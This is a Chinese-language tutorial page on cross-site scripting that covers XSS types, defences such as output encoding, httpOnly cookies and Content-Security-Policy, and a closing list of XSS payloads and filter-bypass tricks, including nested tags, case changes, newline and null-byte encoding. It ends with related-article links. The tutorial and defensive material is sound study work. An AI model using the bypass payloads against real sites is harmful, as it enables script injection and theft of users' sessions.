XSS类型,防御及常见payload构造总结
什么是XSS?
XSS分类:
反射型:

<script>alert('XSS')</script>
XSS绕过 — 关于htmlspecicalchars()函数
htmlspecicalchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
& 成为 &
" 成为 "
' 成为 '
< 成为 &It(')
> 成为 > 可用的引号类型:
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
http_only防护下的XSS
http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只允许https请求读取,发送请求时自动发送cookie。
host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。
存储型:
DOM XSS

<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
} </script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="ti jiao" onclick="test()" />


' onclick=alert(1) //

<a href='' onclick=alert(1) //' >testLink</a>

XSS防御手段
使用xss fileter
- 表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
- 过滤或移除特殊的 html 标签:<script>、<iframe>等。
- 过滤 js 事件的标签:onclick、onerror、onfocus等。
html实体
|
显示结果
|
描述
|
实体编号
|
|
|
空格
|
  ;
|
|
<
|
小于
|
< ;
|
|
>
|
大于
|
> ;
|
|
&
|
和
|
& ;
|
|
''
|
引号
|
" ;
|
编码转义
防御XSS的几个函数:
setcookie,通过将参数设置为true可以使cookie不能被js获取
htmlspecialchars()将html标签以实体输出
htmlentities()与上相同
escapeHTML()
strip_tags将标签去除
对json内容的转义escapeEmbedJSON()
自定义xss过滤器
应该关注新出现的html标签,可能这些标签还没有被过滤,可能触发xss
X-XSS-Protection设置
XSS 防御之 URL 编码
function encoding(str){
return encodeURIComponent(str);
};
XSS 防御之 CSS 编码
<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>
function encoding(attr, str){
let encoded = '';
for (let i = 0; i < str.length; i++) {
let ch = str.charAt(i);
if (!ch.match(/[a-zA-Z0-9]/) {
let hex = str.charCodeAt(i).toString(16);
let pad = '000000'.substr((hex.length));
encoded += '\\' + pad + hex;
} else {
encoded += ch;
}
}
return encoded;
};
XSS防御之javascript编码
<a href="javascript:alert('xiao')" target="_blank">href xss</a>
<a href="javascript:alert('href xss HTML编码无效')" targ
CSP防御
<meta http-equiv="Content-Security-Policy" content="">
<meta http-equiv="Content-Security-Policy" content="
default-src http: https: *.xiao.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">
default-src 'self';
self = 端口,协议,域名相同则信任(允许)
default-src 给下面所有的规则设定一个默认值
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(比如 Flash)
child-src 框架
frame-ancestors 嵌入的外部资源(比如、<iframe>、和)
connect-src HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src worker脚本
manifest-src manifest 文件 CSP2规范中:
child-src 有效的 web workers 和 元素来源,如 <frame> 和 <iframe> (这个指令用来替代 CSP 1 中废弃了的 frame-src 指令)
form-action 可以作为 HTML <form> 的 action 的有效来源
frame-ancestors 使用 <frame>,<iframe>,<object>,<embed> 或 <applet> 内嵌资源的有效来源
upgrade-insecure-requests 命令用户代理来重写 URL 协议,将 HTTP 改到 HTTPS (为一些需要重写大量陈旧 URL 的网站提供了方便)。 同时
CSP 2 允许你添加路径到白名单中(CSP 1 只允许域名被添加到白名单中)。
常见payload构造
对script标签进行一次移除操作(嵌套欺骗):
<scr<script>ipt>alert('xss')</scr<script>ipt>
<script>alert("XSS")</script>
<script src="http://baidu.com"></script>
属性内输出闭合标签
"><script>alert('xss')</script>
javascript事件
< onfocus=javascript:alert('XSS') >
<div οnmοuseenter="alert('xss')">
iframe标签
<iframe src="javascript:alert(1)">
action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
大小写绕过
<sCRipt>alert(1)</sCript>
双写绕过
<sscriptcript>alert('XSS')</sscriptcript>
编码绕过/特殊字符绕过
javascrip%0at:alert('xss')
//%0a(换行符)将代码隔开
javascrip%0at:alert('xss')<!--http://-->
javascrip%0at:alert('xss')//http://
javascrip%0at:alert('xss')/*http://*/
//3-5为注释绕过
angular.min.js javascript框架
补充:
ng-include可以包含一个html文件(但不限于html文件), 但只是加载一个静态页面显示在前端,不会加载里面的js, 使用时要在文件名要用单引号包起来,
空字节
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
src属性
<img src=x οnerrοr=prompt(1);>
参考:
XSS类型,防御及常见payload构造总结的更多相关文章
- XSS之防御与绕过
很久之前的随笔讲过XSS的编码绕过的一些内容 本次侧重整理一下常见的防御思路,顺便补充一些针对性的绕过思路以及关于XSS个人想到的一些有趣的事情 开篇之前,先看一下XSS介绍(包括mXSS.uXSS. ...
- XSS攻击防御篇
前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全 ...
- Web安全系列(四):XSS 的防御
简介 XSS 的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现. 目前来说,流行的浏览器内都内置了一些 XSS 过滤器,但是这只能防御一部分常见的 XSS,而对于网站来说,也应 ...
- .Net Core 项目中添加统一的XSS攻击防御过滤器
一.前言 最近公司内部在对系统的安全进行培训,刚好目前手里的一个.net core 项目中需要增加预防xss的攻击,本文将大概介绍下何为XSS攻击以及在项目中如何统一的预防XSS攻击. 二.XSS简介 ...
- 风炫安全WEB安全学习第二十七节课 XSS的防御措施
风炫安全WEB安全学习第二十七节课 XSS的防御措施 XSS防御措施 总的原则 控制好输入/输出 过滤:根据业务需求进行过滤,对email,手机号码这样的输入框进行验证. 转义:所有输出到前端的数据都 ...
- 预防XSs和sql注入常见分析
SQL注入简介SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可 ...
- XSS攻击常识及常见的XSS攻击脚本汇总
一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...
- 安全测试 - XSS如何防御
XSS主要是通过劫持用户COOKIE,执行JS脚本进行攻击 如何发现: 可以使用<script>alert(/yourname/)</script> script最具有代表性也 ...
- XSS的防御
基于代码修改的防御 和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免: 步骤1.对所有用户提交内容进行可靠的输入验证,包括对URL.查询 ...
随机推荐
- PHP 读取XML大文件格式并将其存入数据库中
<?php $xml = new XMLReader(); $xmlfile="./full_database.xml";#文件路径 $xml->open( ...
- 没有部署ingress pod的woker节点telnet slb的80 443端口不通
一,问题描述 没有部署ingress pod的woker节点telnet slb的80 443端口不通 二,解决办法 方法一:改用svc地址调用 方法二:让每台woker节点都部署ingress po ...
- 洛谷题解 P1051 【谁拿了最多奖学金】
其实很水 链接: P1051 [谁拿了最多奖学金] 注意: 看好信息,不要看漏或看错因为信息很密集 AC代码: 1 #include<bits/stdc++.h>//头文件 2 using ...
- (30)ASP.NET Core3.1 集成Apollo快速安装与使用
1.介绍 Apollo(阿波罗)是携程框架部研发并开源的一款生产级的配置中心产品,它能够集中管理应用在不同环境.不同集群的配置,配置修改后能够实时推送到应用端,并且具备规范的权限.流程治理等特性,适用 ...
- Java 持久层框架之 MyBatis
MyBatis 简介 MyBatis 是一个基于 Java 的持久层框架,它内部封装了 JDBC,使开发者只需关注 SQL 语句本身,而不用再花费精力去处理诸如注册驱动.创建 Connection.配 ...
- 【mybatis-plus】CRUD必备良药,mybatis的好搭档
做开发,免不了对数据进行增删改查,那么mybatis-plus我觉得很适合我这个java新手,简单好用. 官网在这 一.什么是mybatis-plus MyBatis-Plus(简称 MP),是一个M ...
- winform关闭登录窗体打开主窗体的方法
实际使用 Program.cs代码 //声明一个线程 private static System.Threading.Mutex mutex; /// <summary> /// 应用程序 ...
- Java学习_面向对象编程
抽象类 一个class定义了方法,但没有具体执行代码,这个方法就是抽象方法,抽象方法用abstract修饰.因为抽象类本身被设计成只能用于被继承,因此,抽象类可以强迫子类实现其定义的抽象方法,否则编译 ...
- Linux USB子系统(一)—— USB设备基础概念
一.基础概念 在终端用户看来,USB设备为主机提供了多种多样的附加功能,如文件传输,声音播放等,但对USB主机来说,它与所有USB设备的接口都是一致的.一个USB设备由3个功能模块组成:USB总线接口 ...
- CTF:从0到1 -> zero2one
本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...